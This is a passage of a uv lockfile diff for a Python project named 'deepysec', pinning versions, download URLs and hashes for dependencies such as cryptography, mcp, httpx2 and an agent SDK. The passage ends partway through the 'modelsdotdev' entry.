"https://files.pythonhosted.org/packages/9b/b5/ba2b299993c26577d529b6ae29841f9e15b9fcf004d65f423f4fcf94ade9/cffi-2.1.1-cp315-cp315t-win_amd64.whl", hash = "sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3", size = 193772, upload-time = "2026-08-03T21:21:12.39Z" }, + { url = "https://files.pythonhosted.org/packages/aa/29/35e016098c814cd93de9cd320c66b5bfba14dc6ecedd3cb518fa7c408c69/cffi-2.1.1-cp315-cp315t-win_arm64.whl", hash = "sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692", size = 186360, upload-time = "2026-08-03T21:21:13.636Z" }, +] + +[[package]] +name = "claude-agent-sdk" +version = "0.2.160" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "jsonschema" }, + { name = "mcp" }, + { name = "sniffio" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bd/46/ff902a63d79b278fd8631ef420b9d6a6e85959f0c75e87c3ecc7a0397608/claude_agent_sdk-0.2.160.tar.gz", hash = "sha256:1107f7804c656e194cbf80d9e20b4b861803bc16c4067a04839a347c9d140f48", size = 365170, upload-time = "2026-09-25T22:31:19.672Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b4/c0/3ef94041ac8daf218e04d2047fa780643abeabbe9ca0495391f25078e169/claude_agent_sdk-0.2.160-py3-none-macosx_11_0_arm64.whl", hash = "sha256:547cb16c94c67b57873c1ac9b5ce83076941d5189d52601b9791032d13a21456", size = 93695006, upload-time = "2026-09-25T22:31:24.616Z" }, + { url = "https://files.pythonhosted.org/packages/f2/6f/74ba55f294cc132ced13de24d8011e30f0073075fa829aa4aa09d66c1493/claude_agent_sdk-0.2.160-py3-none-macosx_11_0_x86_64.whl", hash = "sha256:cc77386858bd5e716914544a35a0620fe1586d130299d1c7b2e207bebd02ace4", size = 98113129, upload-time = "2026-09-25T22:31:30.278Z" }, + { url = "https://files.pythonhosted.org/packages/17/bf/560d9c04d574484d6659ba325693e14f03d8aa2ca38781736ed08635b22d/claude_agent_sdk-0.2.160-py3-none-manylinux_2_17_aarch64.whl", hash = "sha256:59638c6acd0159da200eb9d8fbb282d6c8d2191e6fcdd02fa751857c014b7e40", size = 103152841, upload-time = "2026-09-25T22:31:35.62Z" }, + { url = "https://files.pythonhosted.org/packages/9d/04/fcb6c6a77d5ee04cd6dc7c1e43e824e73ce57d2c59f1cdb80c0255bfc4ac/claude_agent_sdk-0.2.160-py3-none-manylinux_2_17_x86_64.whl", hash = "sha256:70d1dd4286b69ecdc334d66e7b9dae8532790803f7cd7e0bf269bd5e407f2259", size = 103518762, upload-time = "2026-09-25T22:31:41.303Z" }, +] + +[[package]] +name = "click" +version = "8.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/0e/7fa0ef50764b67090eca4114772a2abf8b6148198475e54c660b97caeee6/click-8.5.0.tar.gz", hash = "sha256:ba0d2089de75ea0310e2dde03160e6ca10009947fb95a182f9b54021bb272e34", size = 382235, upload-time = "2026-08-26T13:33:14.56Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/58/50/6c0d534c5f134586a8e1ba4e330569e32f057e33372ae556463212fb4cd3/click-8.5.0-py3-none-any.whl", hash = "sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360", size = 125251, upload-time = "2026-08-26T13:33:12.928Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "cryptography" +version = "50.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bb/ad/5d6702db60b1e40b41ef513b6967ff5848f307d50f8449baf1634f5908f1/cryptography-50.0.1.tar.gz", hash = "sha256:5dd9bda1c12b4162f6ff568eeb5e0ff956c28d14406e875cfe8a63a2d414ff20", size = 880381, upload-time = "2026-08-25T19:45:45.499Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ba/19/797e2aaac9df6a66f1550f49979dc1b1e39ecd2077501c30efa81e8d5d67/cryptography-50.0.1-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:b8f852c65863251b9e3a1b8c150ce21e59b522dbb6a7d4bc80e680d38388e986", size = 4010153, upload-time = "2026-08-25T19:44:03.155Z" }, + { url = "https://files.pythonhosted.org/packages/90/34/9ce9a62ed9dc82ca9fd6a34445b6904af56e5f38b3eae2ed32e49c36053d/cryptography-50.0.1-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:53e279950892dc102c6b4e52af03ae5ea92fac572a1ddab78ca73a997f62b69f", size = 4723133, upload-time = "2026-08-25T19:44:05.461Z" }, + { url = "https://files.pythonhosted.org/packages/57/26/e6d4fc8512a51a5f9ee7bfdbfb853bce1197087df40c9ad993ad370b846f/cryptography-50.0.1-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ff838d62ec1bfce4f9ba7fa16f4a7b554cd8d0c299e6be37502161a660c84eef", size = 4712478, upload-time = "2026-08-25T19:44:07.375Z" }, + { url = "https://files.pythonhosted.org/packages/e6/de/d3cdc2815697aae84126cbd6a030ca7b6b452e28a88b501b836bd3aa7a86/cryptography-50.0.1-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:e74591e283fe6eb956416c929eb58262a719fe0311fd9054c62c3350ed8760d8", size = 4730726, upload-time = "2026-08-25T19:44:09.294Z" }, + { url = "https://files.pythonhosted.org/packages/55/32/38c0d344b98c06d34b5df8946565a9c0d6dbf32c8e0730a7f05f0a3c6cab/cryptography-50.0.1-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:5fe002589592ed749ce77fe0695fcbd3500dd61d7d6db5858a7544c612fa8e45", size = 5353524, upload-time = "2026-08-25T19:44:11.96Z" }, + { url = "https://files.pythonhosted.org/packages/e1/1b/82f0f0d8858d4432be1af790477edf62aef90324041aa07c57e57bef1af7/cryptography-50.0.1-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:51593d180cf6d179bde5c5d065bed81386b1f381656ae7d042b7ffc87a9895ad", size = 4746720, upload-time = "2026-08-25T19:44:14.051Z" }, + { url = "https://files.pythonhosted.org/packages/29/ba/042ca458b8c64348c768284b5d23e69b92ed53d057ab779fee628564676d/cryptography-50.0.1-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:359e62deae718bce96170e223fdcb6357e4fbd3bb7a3a75f4430763532560e49", size = 4361866, upload-time = "2026-08-25T19:44:16.167Z" }, + { url = "https://files.pythonhosted.org/packages/39/3b/e96c1ef71edef71057c7e3c3d982ce8fda554e0c52d0cc19c18845cde3eb/cryptography-50.0.1-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:e2ca8fd1b6b4b82a1c4cb02841d0837e3c12336c2e24b520ab8ab3b969733d8f", size = 4730028, upload-time = "2026-08-25T19:44:18.085Z" }, + { url = "https://files.pythonhosted.org/packages/e3/38/45abd72ef63f2e7d0754a6cacf97bd8b69512ace7f6130d24c39ece65da2/cryptography-50.0.1-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:76de83fbd91ac49c0feaaa983d0748fd7a53176afac5fb3bf7478d244f0eb527", size = 5308405, upload-time = "2026-08-25T19:44:20.197Z" }, + { url = "https://files.pythonhosted.org/packages/85/66/6ccca4722987ddedaa7fc9c3f4708af7431f5535666c174350830888c6b7/cryptography-50.0.1-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:51afcfceb15597cf2635068e4ac9a56b2abde622edde17f37d85fd7b5306497a", size = 4746230, upload-time = "2026-08-25T19:44:22.376Z" }, + { url = "https://files.pythonhosted.org/packages/13/0e/b1f92e013228111413f2e6743948b80bc24dfd3c1b87ba98ceea16f5df89/cryptography-50.0.1-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:be224a65493ec5b74a158ff22a5522ce4a5ca1e543c647a3a4730d4a09e5f959", size = 4862596, upload-time = "2026-08-25T19:44:24.472Z" }, + { url = "https://files.pythonhosted.org/packages/7e/22/c3654cccc856e9d682817b04ac3ee79731cb09ca6f95996a95c904de2883/cryptography-50.0.1-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:9ebcdd5519be9b652a46f507817a74591774fc3d6923ac364e4dfa64e36b291b", size = 5014082, upload-time = "2026-08-25T19:44:26.709Z" }, + { url = "https://files.pythonhosted.org/packages/42/8b/cb12b1b60c91b074ca6bf0fdd59aa8f10d8bc5f73af8faece86ef0421b37/cryptography-50.0.1-cp311-abi3-win_amd64.whl", hash = "sha256:aed8db4f6d71c51efb89530e12d9464e7bf2923d46c3205dc794a2a93f8c0648", size = 3842826, upload-time = "2026-08-25T19:44:28.784Z" }, + { url = "https://files.pythonhosted.org/packages/5b/f0/424cb557d99aa86ac55da5e2add02e2882e44047b6264f93ade1b975a993/cryptography-50.0.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:30a125032e5642a21ff816e021152bd4e7e94f03eff3f4b7fca41cd22bc3110f", size = 3973525, upload-time = "2026-08-25T19:44:30.7Z" }, + { url = "https://files.pythonhosted.org/packages/4d/72/3a2711d967977ab5fc80b782837c7e8d1ac7445e764c20c381a265c57ef3/cryptography-50.0.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a0b1a59e3a089064a0ec309e9428c8e3ae4e161419d20ac33600767e83fc658a", size = 4708817, upload-time = "2026-08-25T19:44:32.773Z" }, + { url = "https://files.pythonhosted.org/packages/b4/f2/bb1f56e10815b789df0b409a69fa4992ff3d3fef9c72747f4a6b26fed38e/cryptography-50.0.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8921d58f426793c5f1b47f0b59575780de9a095214958d0eb37d909593db8367", size = 4697300, upload-time = "2026-08-25T19:44:35.144Z" }, + { url = "https://files.pythonhosted.org/packages/08/bd/ed5396be499ffcf8807a585bfe38b71a1fbdd1c342b4f9b6d0ef5162a946/cryptography-50.0.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:a8f40ea47330e71b594a7e246898f93177c259490c63183dbaf9e571d71ed9a5", size = 4716039, upload-time = "2026-08-25T19:44:37.192Z" }, + { url = "https://files.pythonhosted.org/packages/f6/6e/1cf405c5c8e8df7545378048e954792f00b7f2367af8863ce8b8f3e10607/cryptography-50.0.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:a255449073358275b64b67d3f595f268bbef70e72b6edb65e0c70c735bf739c9", size = 5332388, upload-time = "2026-08-25T19:44:39.16Z" }, + { url = "https://files.pythonhosted.org/packages/47/92/b4317e8c32c4f47b062f5398bd79106b220a124546f42be83bf32b761e2a/cryptography-50.0.1-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:8df2de9102026855887e4587084f6eabd80ed0f345b8ad8a7ac27ab9bf4723e0", size = 4730293, upload-time = "2026-08-25T19:44:41.298Z" }, + { url = "https://files.pythonhosted.org/packages/39/0d/a1e7633e2c744d0f2983320a27e924ef2264c79c56e1a58d5fb0a1cfd413/cryptography-50.0.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:ac02b07824d4d1001bd4367599f839c19cb171924c796e52c23508ac14c2c0cc", size = 4346031, upload-time = "2026-08-25T19:44:43.245Z" }, + { url = "https://files.pythonhosted.org/packages/88/dd/b215616f9bab3fc18510c78a4e5c9f362d77838503c363dc747c7d4f5c6f/cryptography-50.0.1-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:cbf74a81765ee67413503ca6e26dcc4f6f5a519822436cc0a1b97aab6c1b8a17", size = 4715344, upload-time = "2026-08-25T19:44:45.291Z" }, + { url = "https://files.pythonhosted.org/packages/b1/1b/ec3ebd31741d0e963612c4fe43caa39341b9b1e031e469820e42e4c83918/cryptography-50.0.1-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:16c5ecd954b3330ebfb6605eca4fd952da8bef376551d5cc264534e3770a9ee6", size = 5287201, upload-time = "2026-08-25T19:44:47.297Z" }, + { url = "https://files.pythonhosted.org/packages/1a/01/0127d11a762b31a9ee0221894f540318761783f3fdc4bc5d057698caebd5/cryptography-50.0.1-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:79bf008d1f9af6071c797ad133e39915dfee7614f18f18f4db9072eb715064a3", size = 4730023, upload-time = "2026-08-25T19:44:49.435Z" }, + { url = "https://files.pythonhosted.org/packages/9e/b9/e7425ebfb599241a0c1d7000f1b466c3062da66c19d9525031315dff7213/cryptography-50.0.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:330fbb252391c596f1ae42c5754449dc924e6ad012dca8efe0d703f9f2d12ec6", size = 4847362, upload-time = "2026-08-25T19:44:51.94Z" }, + { url = "https://files.pythonhosted.org/packages/2d/fd/60d0ddf4defa12e482c9d5e0f554384d6e8ab25341fd15f060028fd92e6a/cryptography-50.0.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:42be3bb70596b3abe4ac097b75be223e8b3ab614a0e5de068e3dcc54d71d6149", size = 4999247, upload-time = "2026-08-25T19:44:53.876Z" }, + { url = "https://files.pythonhosted.org/packages/4d/56/bc4f2b209e766c93372cfcd59b781a0b2b59700f62a969580415b699c2b2/cryptography-50.0.1-cp314-cp314t-win_amd64.whl", hash = "sha256:f74455bb086a85d5e81246412602aaa97ed095e504cd40dd261ef50be42205bf", size = 3825806, upload-time = "2026-08-25T19:44:56.209Z" }, + { url = "https://files.pythonhosted.org/packages/84/a9/ee16a903f13755e914d1eecc482fe64d1f10761c3960e5d8fa6837377aff/cryptography-50.0.1-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:ca83d00d9e69cd5eb63f2e69c3a5a59e0cecae5ae14c6ae0b35830fe3b37bad0", size = 4035307, upload-time = "2026-08-25T19:44:58.305Z" }, + { url = "https://files.pythonhosted.org/packages/5e/a5/9ec7e81e8526c0d7a387d73386b2daed3f39e10d81a85930bd1b6bfba65c/cryptography-50.0.1-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:05ba322c4da95b262a212c345af888ef2c37c88c0509756ea00a0e6d68850f23", size = 4751900, upload-time = "2026-08-25T19:45:00.401Z" }, + { url = "https://files.pythonhosted.org/packages/7e/3c/0e77bd5ffcf078e9dd27d3074aad6c030d9b10d0bf69329d573c927a188c/cryptography-50.0.1-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:e22dfed744bd4002e909464cb23d2f0b05c6f3113a79ef2e9864a53db737c733", size = 4738357, upload-time = "2026-08-25T19:45:02.786Z" }, + { url = "https://files.pythonhosted.org/packages/27/3a/3c5f80daa4dcd47323c7af8a2fcb90de27a33564d4fcac69846c0972691a/cryptography-50.0.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:4c4188f7c0cf655be5c06342b817ed0f9595b69ffa2b12026e5353eed29dea88", size = 4758474, upload-time = "2026-08-25T19:45:04.889Z" }, + { url = "https://files.pythonhosted.org/packages/6e/2b/214cf0cf93db9628c3c20c896b229f327f6fb1b20e4b3743d8ad3f00af8b/cryptography-50.0.1-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:2ebbfb0f1fed745e91796e3e1080a1440423fdae8ece1b995a1d80883a409054", size = 5375862, upload-time = "2026-08-25T19:45:07.163Z" }, + { url = "https://files.pythonhosted.org/packages/d6/51/3f9701867a46b6c1740c9b52fc4d3bed6cbdcfedcc9b6e64305c07f39cff/cryptography-50.0.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:407fe2b6db00939c05c0e945e9914238f2f0a430974839429dafc82b1ee6bee5", size = 4772942, upload-time = "2026-08-25T19:45:09.396Z" }, + { url = "https://files.pythonhosted.org/packages/0d/5c/13ea642e08e2544d0f5396122055f4820cfacb3203562197b5967125ea97/cryptography-50.0.1-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:2b34d76a652ea2b6faf777c35df230c5637842cd904e04f16230c3f9f03e4361", size = 4383347, upload-time = "2026-08-25T19:45:11.659Z" }, + { url = "https://files.pythonhosted.org/packages/84/d5/7d1fe1cb93f91c428093ff234e128c89ba8ea61a6f26aab406081f9b996e/cryptography-50.0.1-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:01f41478cf33fc605a6a089cd56d28b45c6c0b45a1928b61797f2621a04bac71", size = 4758050, upload-time = "2026-08-25T19:45:13.745Z" }, + { url = "https://files.pythonhosted.org/packages/dd/04/557fc5ead96a829e0bc812a3b9dc4a52a2f27e4f7f5950da7ff27653a805/cryptography-50.0.1-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:fc3ed7ebd2a8c96f5b166de0ab9b624996bef3b07bbeb19364dfb78222c22c80", size = 5332955, upload-time = "2026-08-25T19:45:16.193Z" }, + { url = "https://files.pythonhosted.org/packages/8c/eb/5d7124083e8d8cda8f5b348f544b71ad6f707ad63193758ef4d8e569da02/cryptography-50.0.1-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:9dde0a357190eb3b1da1bb9ab750e9c85cba82ca5977aa0836cbb94e92611239", size = 4772694, upload-time = "2026-08-25T19:45:18.315Z" }, + { url = "https://files.pythonhosted.org/packages/63/8e/f1f955e0921dd2b6d22eae7e8d24a4c4b638d10735ffbf6a71f99eb0fcb8/cryptography-50.0.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd3718b960d0b5dd213cdf03f3bcb7000e69dda0de8b956061947ff6bcff5558", size = 4888413, upload-time = "2026-08-25T19:45:20.4Z" }, + { url = "https://files.pythonhosted.org/packages/1f/ab/89e2b798d2c3925f82e2bb72d5979f3d2f6da2dd22ef4a8cd8b70d920039/cryptography-50.0.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:2a93d05e34d5f67fba6f891fe85d929999baa7195e853923ea6d7576c9e68c5e", size = 5044355, upload-time = "2026-08-25T19:45:22.353Z" }, + { url = "https://files.pythonhosted.org/packages/99/89/87ef49ffe383ef4e147d27b7bf2088fb0b54ea409dd87b5a89442e5828a5/cryptography-50.0.1-cp39-abi3-win_amd64.whl", hash = "sha256:55d16b1ef3ee0958d893a977b19777887e546c9954ea81b200c3301a864013f2", size = 3875429, upload-time = "2026-08-25T19:45:24.418Z" }, +] + +[[package]] +name = "deepysec" +version = "0.1.0" +source = { editable = "." } +dependencies = [ + { name = "ai", extra = ["claude-code", "sandbox"] }, + { name = "vercel-sandbox" }, +] + +[package.dev-dependencies] +dev = [ + { name = "pytest" }, + { name = "pytest-asyncio" }, +] + +[package.metadata] +requires-dist = [ + { name = "ai", extras = ["claude-code", "sandbox"], editable = "../../../" }, + { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "pytest", specifier = ">=8.0" }, + { name = "pytest-asyncio", specifier = ">=0.24" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore2" +version = "2.13.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "h11" }, + { name = "truststore" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/cb/f3/1db7aa2bc2524062192bb0e0323969492d1883152a232fe36eea65f4e35c/httpcore2-2.13.1.tar.gz", hash = "sha256:e0aa977abe17e69a3b820a24542a6fa88702676d83880b8d194dcd18408e5103", size = 68071, upload-time = "2026-09-23T07:47:22.372Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/09/ba/a4568248771ce81957bfb7cc600264a40fbcda092391ee1c415c50be4bea/httpcore2-2.13.1-py3-none-any.whl", hash = "sha256:e1e05d4f25f7d7d496bfb96748f6f4b67657b03da069b3a68c36069f3db73d0a", size = 83423, upload-time = "2026-09-23T07:47:19.365Z" }, +] + +[[package]] +name = "httpx2" +version = "2.13.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "sys_platform != 'emscripten'" }, + { name = "httpcore2", marker = "sys_platform != 'emscripten'" }, + { name = "httpx2-jsfetch", marker = "sys_platform == 'emscripten'" }, + { name = "idna" }, + { name = "truststore", marker = "sys_platform != 'emscripten'" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d5/44/474bef2a0e9d90f1715d32cb98b0738695ca17ba324095fb2497ed7fbd59/httpx2-2.13.1.tar.gz", hash = "sha256:e48744a19e3af5ee48313d0ce5fe941d5422fae5705ea922a4aabf94d7800dfa", size = 100405, upload-time = "2026-09-23T07:47:23.052Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d8/9c/6fe8931fd9f381042a9e4c7d5a7b4cbf7016b252bec0c99a49fce42c3326/httpx2-2.13.1-py3-none-any.whl", hash = "sha256:6dff50fabc270ee5fd25d845d0b078ed20564579744d6d962850975996d2f9a4", size = 95597, upload-time = "2026-09-23T07:47:20.995Z" }, +] + +[package.optional-dependencies] +ws = [ + { name = "wsproto" }, +] + +[[package]] +name = "httpx2-jsfetch" +version = "1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/c4/0e5636363151a2a1795e0a77617168b9ca438e1748ec05fc9b5687f93d64/httpx2_jsfetch-1.0.tar.gz", hash = "sha256:70a0e3eabfef7cce5ad9c629f7d01ca05e418f586646f4ddf14782e4c1454c60", size = 6872, upload-time = "2026-08-07T00:13:07.492Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9b/43/832f631d32e4f1211caa2ba368317739fe71f0b8530e4c9d15dc454bac2a/httpx2_jsfetch-1.0-py3-none-any.whl", hash = "sha256:cb916b707601e69a07721aabc8f3f6659be3a6893bc1ff5c6f9e02241df2da32", size = 6382, upload-time = "2026-08-07T00:13:06.567Z" }, +] + +[[package]] +name = "idna" +version = "3.20" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f5/08/8eea9d4b8302028f3abb2c0813953f7aec26d33b7a8960ed760e65ff29fa/idna-3.20.tar.gz", hash = "sha256:a7db850025b95ded1eae8a46181a1a6c56c92c96f0e2b005d9ff8dc0210cab44", size = 216463, upload-time = "2026-09-17T14:11:04.752Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/58/a2/bb081bab032533a855d44de1d56f8e8426114ff1ba5d1f07a438a0a654f8/idna-3.20-py3-none-any.whl", hash = "sha256:ab7ae7122974553370f0bdb919e1a960b2cd1bc1ef0276416d896db81c14582c", size = 69583, upload-time = "2026-09-17T14:11:03.168Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "jsonschema" +version = "4.26.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "attrs" }, + { name = "jsonschema-specifications" }, + { name = "referencing" }, + { name = "rpds-py" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b3/fc/e067678238fa451312d4c62bf6e6cf5ec56375422aee02f9cb5f909b3047/jsonschema-4.26.0.tar.gz", hash = "sha256:0c26707e2efad8aa1bfc5b7ce170f3fccc2e4918ff85989ba9ffa9facb2be326", size = 366583, upload-time = "2026-01-07T13:41:07.246Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/69/90/f63fb5873511e014207a475e2bb4e8b2e570d655b00ac19a9a0ca0a385ee/jsonschema-4.26.0-py3-none-any.whl", hash = "sha256:d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce", size = 90630, upload-time = "2026-01-07T13:41:05.306Z" }, +] + +[[package]] +name = "jsonschema-specifications" +version = "2025.9.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "referencing" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/74/a633ee74eb36c44aa6d1095e7cc5569bebf04342ee146178e2d36600708b/jsonschema_specifications-2025.9.1.tar.gz", hash = "sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d", size = 32855, upload-time = "2025-09-08T01:34:59.186Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", hash = "sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe", size = 18437, upload-time = "2025-09-08T01:34:57.871Z" }, +] + +[[package]] +name = "mcp" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "httpx2" }, + { name = "jsonschema" }, + { name = "mcp-types" }, + { name = "opentelemetry-api" }, + { name = "pydantic" }, + { name = "pyjwt", extra = ["crypto"] }, + { name = "python-multipart" }, + { name = "pywin32", marker = "sys_platform == 'win32'" }, + { name = "sse-starlette" }, + { name = "starlette" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, + { name = "uvicorn", marker = "sys_platform != 'emscripten'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/76/31/ac54fb0fdd5b37de704486e288bba4fbbb463f24cfcfedbede407b854513/mcp-2.2.0.tar.gz", hash = "sha256:2dc37ecb1974becdcebdbf7561e7c15a07dbbf20ba21ba16c3593b3038b3afbd", size = 4084129, upload-time = "2026-09-07T16:06:23.439Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1b/ff/8e7eade68b8a28f7da0ed1085544341b51f9c935dbf6b95c76b7edfea6a0/mcp-2.2.0-py3-none-any.whl", hash = "sha256:bde982589473a060ae145e3406e9a5333fe538c97229ba841f5a7f92be004f81", size = 365656, upload-time = "2026-09-07T16:06:19.711Z" }, +] + +[[package]] +name = "mcp-types" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ae/91/762d7755d971aff8a28d75f7961656148edf27875c8026e6385aaab08ae7/mcp_types-2.2.0.tar.gz", hash = "sha256:d3ed53703ddd10d9c6399f29d322bb66f3f67ab41348ac8556ba23e07fedefad", size = 65892, upload-time = "2026-09-07T16:06:25.187Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8f/d7/6ffba5d8cd5dd9b8a19478875c50e04945314ba5074e84d749283f27f62d/mcp_types-2.2.0-py3-none-any.whl", hash = "sha256:ea476b73ee86709ab5abc9452385ed36cc05907e582355622e294595c9a04f13", size = 69106, upload-time = "2026-09-07T16:06:21.461Z" }, +] + +[[package]] +name = "modelsdotdev" +version = "0.20260818.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/17/34/e5d0b54bf967bee3e37cb7d8261143670a79603f6e770fb8a68d8ffcd17a/modelsdotdev-0.20260818.0.tar.gz", hash = "sha256:375e6793dc5bc731075e7631ee32b7d0a3be6a4a6cade3e3d417664dae40d8fd", size = 1087820, upload-time = "2026-08-18T08:14:47.009Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6f/92/242f3c5a20d64e964895a02fe5c86ae66ed09e6317be600c67012bc1addc/modelsdotdev-0.20260818.0-py3-none-any.whl", hash = 